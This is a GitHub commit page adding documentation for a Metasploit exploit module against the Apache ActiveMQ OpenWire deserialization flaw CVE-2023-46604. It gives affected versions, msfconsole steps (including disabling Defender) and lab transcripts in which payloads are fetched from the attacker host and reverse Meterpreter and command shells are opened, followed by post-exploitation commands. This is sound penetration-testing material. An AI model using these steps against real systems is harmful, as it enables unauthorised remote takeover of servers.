Skip to content

Commit e8d45b0

Browse files
bwatters-r7bwatters-r7
committed
Land rapid7#18501, Exploit module for CVE-2023-46604 - Apache ActiveMQ
Merge branch 'land-18501' into upstream-master
2 parents c06d491 + ea21036 commit e8d45b0

File tree

2 files changed

+486
-0
lines changed

2 files changed

+486
-0
lines changed

‎documentation/modules/exploit/multi/misc/apache_activemq_rce_cve_2023_46604.md‎

Lines changed: 287 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,287 @@
1+
## Vulnerable Application
2+
This module exploits a deserialization vulnerability in the OpenWire transport unmarshaller in Apache ActiveMQ.
3+
Affected versions include 5.18.0 through to 5.18.2, 5.17.0 through to 5.17.5, 5.16.0 through to 5.16.6, and all
4+
versions before 5.15.16.
5+
6+
For a full technical analysis of the vulnerability read the
7+
[Rapid7 AttackerKB Analysis](https://attackerkb.com/topics/IHsgZDE3tS/cve-2023-46604/rapid7-analysis).
8+
9+
## Testing
10+
11+
### Linux
12+
* The official [Getting Started](https://activemq.apache.org/getting-started) documentation has a full walkthrough.
13+
* You will need to install Java if you have not already done so.
14+
* Download a vulnerable version of ActiveMQ, e.g. [apache-activemq-5.18.2-bin.tar.gz](https://www.apache.org/dyn/closer.cgi?filename=/activemq/5.18.2/apache-activemq-5.18.2-bin.tar.gz&action=download)
15+
* Extract the contents: `tar zxvf apache-activemq-5.18.2-bin.tar.gz`
16+
* Change into the ActiveMQ directory: `cd apache-activemq-5.18.2/bin/`
17+
* Run ActiveMQ in the foreground: `./activemq console`
18+
19+
## Verification Steps
20+
Note: Disable Defender if you are using the default payloads on a Windows target.
21+
22+
Steps (Linux target):
23+
1. Start msfconsole
24+
2. `use exploit/multi/misc/apache_activemq_rce_cve_2023_46604`
25+
3. `set RHOST <LINUX_TARGET_IP>`
26+
4. `set SRVHOST eth0`
27+
5. `set target 1`
28+
6. `set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp`
29+
7. `check`
30+
8. `exploit`
31+
32+
## Scenarios
33+
34+
### Windows
35+
```
36+
msf6 exploit(multi/misc/apache_activemq_rce_cve_2023_46604) > show options
37+
38+
Module options (exploit/multi/misc/apache_activemq_rce_cve_2023_46604):
39+
40+
Name Current Setting Required Description
41+
---- --------------- -------- -----------
42+
CHOST no The local client address
43+
CPORT no The local client port
44+
Proxies no A proxy chain of format type:host:port[
45+
,type:host:port][...]
46+
RHOSTS 192.168.86.50 yes The target host(s), see https://docs.me
47+
tasploit.com/docs/using-metasploit/basi
48+
cs/using-metasploit.html
49+
RPORT 61616 yes The target port (TCP)
50+
SRVHOST 192.168.86.42 yes The local host or network interface to
51+
listen on. This must be an address on t
52+
he local machine or 0.0.0.0 to listen o
53+
n all addresses.
54+
SRVPORT 8080 yes The local port to listen on.
55+
SSLCert no Path to a custom SSL certificate (defau
56+
lt is randomly generated)
57+
URIPATH no The URI to use for this exploit (defaul
58+
t is random)
59+
60+
61+
Payload options (cmd/windows/http/x64/meterpreter/reverse_tcp):
62+
63+
Name Current Setting Required Description
64+
---- --------------- -------- -----------
65+
EXITFUNC process yes Exit technique (Accepted: '',
66+
seh, thread, process, none)
67+
FETCH_COMMAND CERTUTIL yes Command to fetch payload (Acc
68+
epted: CURL, TFTP, CERTUTIL)
69+
FETCH_DELETE false yes Attempt to delete the binary
70+
after execution
71+
FETCH_FILENAME ainzysikAU no Name to use on remote system
72+
when storing payload; cannot
73+
contain spaces.
74+
FETCH_SRVHOST no Local IP to use for serving p
75+
ayload
76+
FETCH_SRVPORT 8080 yes Local port to use for serving
77+
payload
78+
FETCH_URIPATH no Local URI to use for serving
79+
payload
80+
FETCH_WRITABLE_DI %TEMP% yes Remote writable dir to store
81+
R payload; cannot contain space
82+
s.
83+
LHOST 192.168.86.42 yes The listen address (an interf
84+
ace may be specified)
85+
LPORT 4444 yes The listen port
86+
87+
88+
Exploit target:
89+
90+
Id Name
91+
-- ----
92+
0 Windows
93+
94+
95+
96+
View the full module info with the info, or info -d command.
97+
98+
msf6 exploit(multi/misc/apache_activemq_rce_cve_2023_46604) > check
99+
[*] 192.168.86.50:61616 - The target appears to be vulnerable. Apache ActiveMQ 5.15.3
100+
msf6 exploit(multi/misc/apache_activemq_rce_cve_2023_46604) > exploit
101+
102+
[*] Started reverse TCP handler on 192.168.86.42:4444
103+
[*] 192.168.86.50:61616 - Running automatic check ("set AutoCheck false" to disable)
104+
[+] 192.168.86.50:61616 - The target appears to be vulnerable. Apache ActiveMQ 5.15.3
105+
[*] 192.168.86.50:61616 - Using URL: http://192.168.86.42:8080/4ORmILKzvCrowHQ
106+
[*] 192.168.86.50:61616 - Sent ClassPathXmlApplicationContext configuration file.
107+
[*] 192.168.86.50:61616 - Sent ClassPathXmlApplicationContext configuration file.
108+
[*] Sending stage (200774 bytes) to 192.168.86.50
109+
[*] Meterpreter session 2 opened (192.168.86.42:4444 -> 192.168.86.50:51975) at 2023-11-02 10:15:14 +0000
110+
111+
meterpreter > getuid
112+
Server username: WIN-V28QNSO2H05\Administrator
113+
meterpreter > pwd
114+
C:\apache-activemq-5.15.3\bin
115+
meterpreter > sysinfo
116+
Computer : WIN-V28QNSO2H05
117+
OS : Windows 2016+ (10.0 Build 20348).
118+
Architecture : x64
119+
System Language : en_US
120+
Domain : WORKGROUP
121+
Logged On Users : 1
122+
Meterpreter : x64/windows
123+
meterpreter >
124+
```
125+
126+
### Linux
127+
128+
```
129+
msf6 exploit(multi/misc/apache_activemq_rce_cve_2023_46604) > show options
130+
131+
Module options (exploit/multi/misc/apache_activemq_rce_cve_2023_46604):
132+
133+
Name Current Setting Required Description
134+
---- --------------- -------- -----------
135+
CHOST no The local client address
136+
CPORT no The local client port
137+
Proxies no A proxy chain of format type:host:port[
138+
,type:host:port][...]
139+
RHOSTS 192.168.86.43 yes The target host(s), see https://docs.me
140+
tasploit.com/docs/using-metasploit/basi
141+
cs/using-metasploit.html
142+
RPORT 61616 yes The target port (TCP)
143+
SRVHOST 192.168.86.42 yes The local host or network interface to
144+
listen on. This must be an address on t
145+
he local machine or 0.0.0.0 to listen o
146+
n all addresses.
147+
SRVPORT 8080 yes The local port to listen on.
148+
SSLCert no Path to a custom SSL certificate (defau
149+
lt is randomly generated)
150+
URIPATH no The URI to use for this exploit (defaul
151+
t is random)
152+
153+
154+
Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):
155+
156+
Name Current Setting Required Description
157+
---- --------------- -------- -----------
158+
FETCH_COMMAND CURL yes Command to fetch payload (Acc
159+
epted: CURL, FTP, TFTP, TNFTP
160+
, WGET)
161+
FETCH_DELETE false yes Attempt to delete the binary
162+
after execution
163+
FETCH_FILENAME baCcDlijxJN no Name to use on remote system
164+
when storing payload; cannot
165+
contain spaces.
166+
FETCH_SRVHOST no Local IP to use for serving p
167+
ayload
168+
FETCH_SRVPORT 8080 yes Local port to use for serving
169+
payload
170+
FETCH_URIPATH no Local URI to use for serving
171+
payload
172+
FETCH_WRITABLE_DI yes Remote writable dir to store
173+
R payload; cannot contain space
174+
s.
175+
LHOST 192.168.86.42 yes The listen address (an interf
176+
ace may be specified)
177+
LPORT 4444 yes The listen port
178+
179+
180+
Exploit target:
181+
182+
Id Name
183+
-- ----
184+
1 Linux
185+
186+
187+
188+
View the full module info with the info, or info -d command.
189+
190+
msf6 exploit(multi/misc/apache_activemq_rce_cve_2023_46604) > check
191+
[*] 192.168.86.43:61616 - The target appears to be vulnerable. Apache ActiveMQ 5.18.2
192+
msf6 exploit(multi/misc/apache_activemq_rce_cve_2023_46604) > exploit
193+
194+
[*] Started reverse TCP handler on 192.168.86.42:4444
195+
[*] 192.168.86.43:61616 - Running automatic check ("set AutoCheck false" to disable)
196+
[+] 192.168.86.43:61616 - The target appears to be vulnerable. Apache ActiveMQ 5.18.2
197+
[*] 192.168.86.43:61616 - Using URL: http://192.168.86.42:8080/Fn51CApi
198+
[*] 192.168.86.43:61616 - Sent ClassPathXmlApplicationContext configuration file.
199+
[*] 192.168.86.43:61616 - Sent ClassPathXmlApplicationContext configuration file.
200+
[*] Sending stage (3045380 bytes) to 192.168.86.43
201+
[*] Meterpreter session 3 opened (192.168.86.42:4444 -> 192.168.86.43:44674) at 2023-11-02 10:17:42 +0000
202+
203+
meterpreter > getuid
204+
Server username: steve
205+
meterpreter > pwd
206+
/home/steve/Downloads/apache-activemq-5.18.2/bin
207+
meterpreter > sysinfo
208+
Computer : 192.168.86.43
209+
OS : Ubuntu 22.04 (Linux 6.2.0-33-generic)
210+
Architecture : x64
211+
BuildTuple : x86_64-linux-musl
212+
Meterpreter : x64/linux
213+
meterpreter > exit
214+
[*] Shutting down Meterpreter...
215+
216+
[*] 192.168.86.43 - Meterpreter session 3 closed. Reason: Died
217+
msf6 exploit(multi/misc/apache_activemq_rce_cve_2023_46604) >
218+
```
219+
220+
### Unix
221+
222+
```
223+
msf6 exploit(multi/misc/apache_activemq_rce_cve_2023_46604) > show options
224+
225+
Module options (exploit/multi/misc/apache_activemq_rce_cve_2023_46604):
226+
227+
Name Current Setting Required Description
228+
---- --------------- -------- -----------
229+
CHOST no The local client address
230+
CPORT no The local client port
231+
Proxies no A proxy chain of format type:host:port[
232+
,type:host:port][...]
233+
RHOSTS 192.168.86.43 yes The target host(s), see https://docs.me
234+
tasploit.com/docs/using-metasploit/basi
235+
cs/using-metasploit.html
236+
RPORT 61616 yes The target port (TCP)
237+
SRVHOST 192.168.86.42 yes The local host or network interface to
238+
listen on. This must be an address on t
239+
he local machine or 0.0.0.0 to listen o
240+
n all addresses.
241+
SRVPORT 8080 yes The local port to listen on.
242+
SSLCert no Path to a custom SSL certificate (defau
243+
lt is randomly generated)
244+
URIPATH no The URI to use for this exploit (defaul
245+
t is random)
246+
247+
248+
Payload options (cmd/unix/reverse_perl):
249+
250+
Name Current Setting Required Description
251+
---- --------------- -------- -----------
252+
LHOST 192.168.86.42 yes The listen address (an interface may be s
253+
pecified)
254+
LPORT 4444 yes The listen port
255+
256+
257+
Exploit target:
258+
259+
Id Name
260+
-- ----
261+
2 Unix
262+
263+
264+
265+
View the full module info with the info, or info -d command.
266+
267+
msf6 exploit(multi/misc/apache_activemq_rce_cve_2023_46604) > check
268+
[*] 192.168.86.43:61616 - The target appears to be vulnerable. Apache ActiveMQ 5.18.2
269+
msf6 exploit(multi/misc/apache_activemq_rce_cve_2023_46604) > exploit
270+
271+
[*] Started reverse TCP handler on 192.168.86.42:4444
272+
[*] 192.168.86.43:61616 - Running automatic check ("set AutoCheck false" to disable)
273+
[+] 192.168.86.43:61616 - The target appears to be vulnerable. Apache ActiveMQ 5.18.2
274+
[*] 192.168.86.43:61616 - Using URL: http://192.168.86.42:8080/3mzi3Tfryin
275+
[*] 192.168.86.43:61616 - Sent ClassPathXmlApplicationContext configuration file.
276+
[*] 192.168.86.43:61616 - Sent ClassPathXmlApplicationContext configuration file.
277+
[*] Command shell session 4 opened (192.168.86.42:4444 -> 192.168.86.43:48962) at 2023-11-02 10:20:13 +0000
278+
id
279+
[*] 192.168.86.43:61616 - Server stopped.
280+
281+
uid=1000(steve) gid=1000(steve) groups=1000(steve),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),134(lxd),135(sambashare),139(wireshark)
282+
pwd
283+
/home/steve/Downloads/apache-activemq-5.18.2/bin
284+
uname -a
285+
Linux sfewer-ubuntu-test 6.2.0-33-generic #33~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 7 10:33:52 UTC 2 x86_64 x86_64 x86_64 GNU/Linux
286+
exit
287+
```

0 commit comments

Comments
 (0)